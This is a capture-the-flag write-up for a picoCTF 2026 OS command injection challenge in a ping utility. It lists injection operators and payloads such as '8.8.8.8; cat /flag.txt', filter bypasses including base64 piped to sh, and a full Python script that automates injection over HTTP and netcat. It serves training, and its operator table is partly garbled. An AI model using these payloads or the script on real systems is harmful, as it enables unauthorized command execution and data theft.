┌───────────────────────┐
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
└───────────────────────┘
ping-cmd — picoCTF 2026
~ Imattas aka Zemi
 Category: General Skills
 Difficulty: Easy
 Points: 100
 Author: Imattas aka Zemi

────────────────────────────────────────────────────────────────────────────────

--[ Challenge Description ]--

 Can you make the server reveal its secrets? It seems to be able to ping Google
DNS, but what happens if you get a little creative with the input?

────────────────────────────────────────────────────────────────────────────────

--[ Recon / Initial Analysis ]--

This is a classic OS command injection challenge. The server takes user input
(an IP address) and passes it to the ping command. If the input is not properly
sanitized, an attacker can inject additional shell commands.

:: How command injection works

When a web application or server-side script does something like:
-- python --
os.system("ping -c 1 " + user_input)
or in bash:
-- bash --
ping -c 1 $USER_INPUT
An attacker can provide input like:
8.8.8.8; cat /flag.txt
The shell interprets this as two separate commands:

1. ping -c 1 8.8.8.8 (legitimate ping)
2. cat /flag.txt (attacker's injected command)

────────────────────────────────────────────────────────────────────────────────

--[ Vulnerability / Observation ]--

The injection point is the IP-address field, which is concatenated directly into
a shell command without sanitization. Any shell metacharacter that the input
field permits can chain a second command of the attacker's choice.

:: Common command injection operators

Operator  Description                   Example
;         Command separator             8.8.8.8; cat /flag.txt
&&        AND -- second runs if fir...  8.8.8.8 && cat /flag.txt
`                                     `                          OR -- second
runs if firs...  `invalid           cat /flag.txt`
` ``      Command substitution (bac...  ` 8.8.8.8 cat /flag.txt `
$()       Command substitution          8.8.8.8 $(cat /flag.txt)
`        `                             Pipe                       `8.8.8.8
cat /flag.txt`
n        Newline (URL-encoded: %0a)    8.8.8.8%0acat /flag.txt


:: If basic characters are filtered

Some challenges filter ;, &, and |. Bypass techniques include:

- Newline injection: %0a in URL-encoded input
- Brace expansion: {cat,/flag.txt} instead of cat /flag.txt
- Variable tricks: c''at /flag.txt or c\at /flag.txt
- Base64 encoding: echo YmFzaCAtaSA...| base64 -d | sh

────────────────────────────────────────────────────────────────────────────────

--[ Exploitation / Solution ]--

:: Step 1: Identify the injection point

The server has an input field or parameter where you enter an IP address to
ping. This could be:

- A web form (POST parameter)
- A URL query parameter
- A command-line prompt (netcat/SSH)

:: Step 2: Test for command injection

Try the simplest injection first:
8.8.8.8; id
If you see output from the id command (e.g., uid=1000(ctf)...), injection works.

:: Step 3: Find the flag
8.8.8.8; ls /
This lists the root directory. Look for flag.txt or similar files.

:: Step 4: Read the flag
8.8.8.8; cat /flag.txt
:: If semicolons are filtered, try alternatives:
8.8.8.8 && cat /flag.txt
8.8.8.8 | cat /flag.txt
8.8.8.8 || cat /flag.txt
:: For web-based challenges:

The input might be submitted via a web form. In that case, use the browser,
curl, or the solve script to send the crafted input.

────────────────────────────────────────────────────────────────────────────────

--[ Full Exploit Script ]--
-- python --
#!/usr/bin/env python3
"""
ping-cmd - picoCTF 2026
Category: General Skills | Points: 100

Classic OS command injection via a ping utility. The server takes an IP
address input and passes it to the ping command without proper sanitization.
We inject shell commands using ; or other separators to read the flag.

This script supports both web-based and netcat-based challenge variants.

Requirements:
    pip install requests pwntools

Usage:
    python3 solve.py <URL_or_HOST> [PORT]

    Web-based:
        python3 solve.py http://challenge.picoctf.org:12345

    Netcat-based:
        python3 solve.py challenge.picoctf.org 12345
"""

import sys
import re
import os

# Flag file locations to search
FLAG_FILES = [
    "/flag.txt",
    "/flag",
    "/home/ctf/flag.txt",
    "/root/flag.txt",
    "/home/user/flag.txt",
    "/challenge/flag.txt",
    "/opt/flag.txt",
]

# Command injection payloads to try, in order of likelihood
INJECTION_PAYLOADS = [
    # Semicolon separator
    ("8.8.8.8; {cmd}", "semicolon"),
    # AND operator
    ("8.8.8.8 && {cmd}", "AND operator"),
    # Pipe
    ("8.8.8.8 | {cmd}", "pipe"),
    # OR operator (first command must fail)
    ("invalid || {cmd}", "OR operator"),
    # Newline
    ("8.8.8.8\n{cmd}", "newline"),
    # Command substitution with backticks
    ("8.8.8.8 `{cmd}`", "backtick substitution"),
    # Command substitution with $()
    ("8.8.8.8 $({cmd})", "dollar substitution"),
]


def extract_flag(text):
    """Search for picoCTF flag pattern in text."""
    if isinstance(text, bytes):
        text = text.decode('utf-8', errors='replace')
    match = re.search(r'picoCTF\{[^}]+\}', text)
    return match.group(0) if match else None


# ============================================================
# Web-based solver (HTTP)
# ============================================================

def solve_web(url):
    """Solve a web-based command injection challenge."""
    import requests

    # Normalize URL
    if not url.startswith("http"):
        url = "http://" + url
    base_url = url.rstrip("/")

    print(f"[*] Target URL: {base_url}")

    # Step 1: Fetch the page to understand the form
    print("[*] Fetching the challenge page...")
    try:
        resp = requests.get(base_url, timeout=10)
        print(f"[*] Status: {resp.status_code}")

        # Check if flag is already visible
        flag = extract_flag(resp.text)
        if flag:
            print(f"\n[FLAG] {flag}")
            return flag
    except Exception as e:
        print(f"[!] Error fetching page: {e}")

    # Step 2: Try common form parameter names and injection payloads
    param_names = ["ip", "host", "address", "target", "ping", "cmd", "input", "addr"]

    # Try to discover the correct form parameter from the page source
    try:
        # Look for input fields in the HTML
        input_matches = re.findall(r'name=["\'](\w+)["\']', resp.text)
        if input_matches:
            # Prioritize discovered parameter names
            param_names = list(set(input_matches + param_names))
            print(f"[*] Discovered form parameters: {input_matches}")
    except Exception:
        pass

    # Determine if it's POST or GET
    methods = []
    if 'method="post"' in resp.text.lower() or 'method="POST"' in resp.text:
        methods.append("POST")
    if 'method="get"' in resp.text.lower() or 'method="GET"' in resp.text:
        methods.append("GET")
    if not methods:
        methods = ["POST", "GET"]  # Try both

    # Look for the form action URL
    action_match = re.search(r'action=["\']([^"\']*)["\']', resp.text)
    action_url = base_url
    if action_match:
        action_path = action_match.group(1)
        if action_path.startswith("http"):
            action_url = action_path
        elif action_path.startswith("/"):
            # Extract base domain from url
            from urllib.parse import urlparse
            parsed = urlparse(base_url)
            action_url = f"{parsed.scheme}://{parsed.netloc}{action_path}"
        else:
            action_url = f"{base_url}/{action_path}"

    print(f"[*] Form action URL: {action_url}")
    print(f"[*] Methods to try: {methods}")

    # Step 3: Try injections
    for method in methods:
        for param in param_names:
            for payload_template, payload_name in INJECTION_PAYLOADS:
                # First, try listing the root directory
                cmd = "ls /"
                payload = payload_template.format(cmd=cmd)

                print(f"[*] Trying {method} param={param} inject={payload_name}: {payload[:50]}...")

                try:
                    if method == "POST":
                        resp = requests.post(action_url, data={param: payload}, timeout=15)
                    else:
                        resp = requests.get(action_url, params={param: payload}, timeout=15)

                    # Check for signs of successful injection
                    # (directory listing indicators like "bin", "etc", "tmp")
                    if any(indicator in resp.text for indicator in ["bin", "etc", "tmp", "usr", "var", "home"]):
                        print(f"[+] Command injection successful via {method} param={param} ({payload_name})")
                        print(f"[*] Directory listing found!")

                        # Now try to read the flag from known locations
                        for flag_path in FLAG_FILES:
                            cmd = f"cat {flag_path}"
                            payload = payload_template.format(cmd=cmd)

                            if method == "POST":
                                resp = requests.post(action_url, data={param: payload}, timeout=15)
                            else:
                                resp = requests.get(action_url, params={param: payload}, timeout=15)

                            flag = extract_flag(resp.text)
                            if flag:
                                print(f"\n[FLAG] {flag}")
                                return flag

                        # Try find command
                        cmd = "find / -name 'flag*' -exec cat {} \\; 2>/dev/null"
                        payload = payload_template.format(cmd=cmd)
                        if method == "POST":
                            resp = requests.post(action_url, data={param: payload}, timeout=15)
                        else:
                            resp = requests.get(action_url, params={param: payload}, timeout=15)

                        flag = extract_flag(resp.text)
                        if flag:
                            print(f"\n[FLAG] {flag}")
                            return flag

                        # Try env and grep
                        cmd = "env | grep -i flag 2>/dev/null; grep -r picoCTF / 2>/dev/null | head -5"
                        payload = payload_template.format(cmd=cmd)
                        if method == "POST":
                            resp = requests.post(action_url, data={param: payload}, timeout=15)
                        else:
                            resp = requests.get(action_url, params={param: payload}, timeout=15)

                        flag = extract_flag(resp.text)
                        if flag:
                            print(f"\n[FLAG] {flag}")
                            return flag

                        print(f"[*] Response text:\n{resp.text[:500]}")

                    # Also check if the response itself contains the flag
                    flag = extract_flag(resp.text)
                    if flag:
                        print(f"\n[FLAG] {flag}")
                        return flag

                except requests.exceptions.RequestException as e:
                    continue

    print("\n[-] Could not find the flag via web injection.")
    print("[*] Try manually with curl:")
    print(f'    curl -X POST {action_url} -d "ip=8.8.8.8; cat /flag.txt"')
    return None


# ============================================================
# Netcat-based solver (TCP)
# ============================================================

def solve_netcat(host, port):
    """Solve a netcat-based command injection challenge."""
    from pwn import remote, context
    context.log_level = 'info'

    print(f"[*] Connecting to {host}:{port}...")
    io = remote(host, int(port))

    # Read initial prompt
    try:
        initial = io.recvuntil(b':', timeout=5)
        print(f"[*] Prompt: {initial.decode('utf-8', errors='replace')}")
    except Exception:
        initial = io.recv(timeout=3)
        print(f"[*] Initial data: {initial.decode('utf-8', errors='replace')}")

    # Check if flag is already in the initial output
    flag = extract_flag(initial)
    if flag:
        print(f"\n[FLAG] {flag}")
        io.close()
        return flag

    # Try command injection payloads
    for payload_template, payload_name in INJECTION_PAYLOADS:
        for flag_path in FLAG_FILES:
            cmd = f"cat {flag_path}"
            payload = payload_template.format(cmd=cmd)

            print(f"[*] Trying {payload_name}: {payload}")

            try:
                # Reconnect for each attempt (server might close after one input)
                io.close()
                io = remote(host, int(port))
                io.recvuntil(b':', timeout=5)
            except Exception:
                try:
                    io.close()
                except Exception:
                    pass
                io = remote(host, int(port))
                io.recv(timeout=3)

            io.sendline(payload.encode())

            try:
                response = io.recv(timeout=5)
                text = response.decode('utf-8', errors='replace')

                flag = extract_flag(text)
                if flag:
                    print(f"\n[FLAG] {flag}")
                    io.close()
                    return flag

                # Print interesting output
                if len(text.strip()) > 0:
                    print(f"  [>] {text[:200]}")
            except Exception:
                continue

    # Try finding the flag file first
    print("\n[*] Trying to locate the flag file...")
    try:
        io.close()
        io = remote(host, int(port))
        io.recv(timeout=3)
        io.sendline(b"8.8.8.8; find / -name 'flag*' 2>/dev/null")
        response = io.recv(timeout=5)
        text = response.decode('utf-8', errors='replace')
        print(f"[*] Find results: {text}")

        # Try reading each found file
        for line in text.split('\n'):
            line = line.strip()
            if line and ('flag' in line.lower()) and line.startswith('/'):
                io.close()
                io = remote(host, int(port))
                io.recv(timeout=3)
                io.sendline(f"8.8.8.8; cat {line}".encode())
                response = io.recv(timeout=5)
                flag = extract_flag(response)
                if flag:
                    print(f"\n[FLAG] {flag}")
                    io.close()
                    return flag
    except Exception as e:
        print(f"[!] Error: {e}")

    print("\n[-] Could not find the flag automatically.")
    print("[*] Dropping to interactive mode...")
    try:
        io.close()
        io = remote(host, int(port))
        io.recv(timeout=3)
        io.interactive()
    except Exception:
        pass

    return None


# ============================================================
# Main
# ============================================================

def main():
    print("=" * 60)
    print("ping-cmd - picoCTF 2026")
    print("OS Command Injection via Ping")
    print("=" * 60)

    if len(sys.argv) < 2:
        print("\n[!] No target provided. Showing manual solution:\n")
        print("For web-based challenges:")
        print("  1. Enter this in the IP field: 8.8.8.8; cat /flag.txt")
        print("  2. If semicolons are filtered, try: 8.8.8.8 | cat /flag.txt")
        print("  3. Or try: 8.8.8.8 && cat /flag.txt")
        print("")
        print("For netcat-based challenges:")
        print("  1. Connect: nc <host> <port>")
        print("  2. When prompted for IP, enter: 8.8.8.8; cat /flag.txt")
        print("")
        print("Using curl:")
        print('  curl -X POST http://<host>:<port>/ -d "ip=8.8.8.8; cat /flag.txt"')
        print("")
        print(f"Usage: python3 {sys.argv[0]} <URL_or_HOST> [PORT]")
        print(f"  Web:    python3 {sys.argv[0]} http://host:port")
        print(f"  Netcat: python3 {sys.argv[0]} host port")
        return

    target = sys.argv[1]

    # Determine if this is a web URL or host:port
    if target.startswith("http://") or target.startswith("https://"):
        solve_web(target)
    elif len(sys.argv) >= 3:
        # host port format for netcat
        solve_netcat(target, sys.argv[2])
    elif ":" in target and not target.startswith("http"):
        # host:port format
        host, port = target.rsplit(":", 1)
        solve_netcat(host, port)
    else:
        # Assume web with default http
        solve_web(target)


if __name__ == "__main__":
    main()
────────────────────────────────────────────────────────────────────────────────

--[ Key Takeaways ]--

- Concatenating untrusted input into a shell command (ping -c 1 $input) is a
textbook OS command injection bug.
- The fastest win is appending a second command with ;, &&, ||, |, backticks, or
$() — e.g. 8.8.8.8; cat /flag.txt.
- When ;/&/| are filtered, fall back to newline injection (%0a), brace expansion
({cat,/flag.txt}), quote/backslash splitting (c''at), or
base64-decode-pipe-to-sh.
- Confirm injection with id, enumerate with ls / and find / -name 'flag*', then
read the flag from common paths.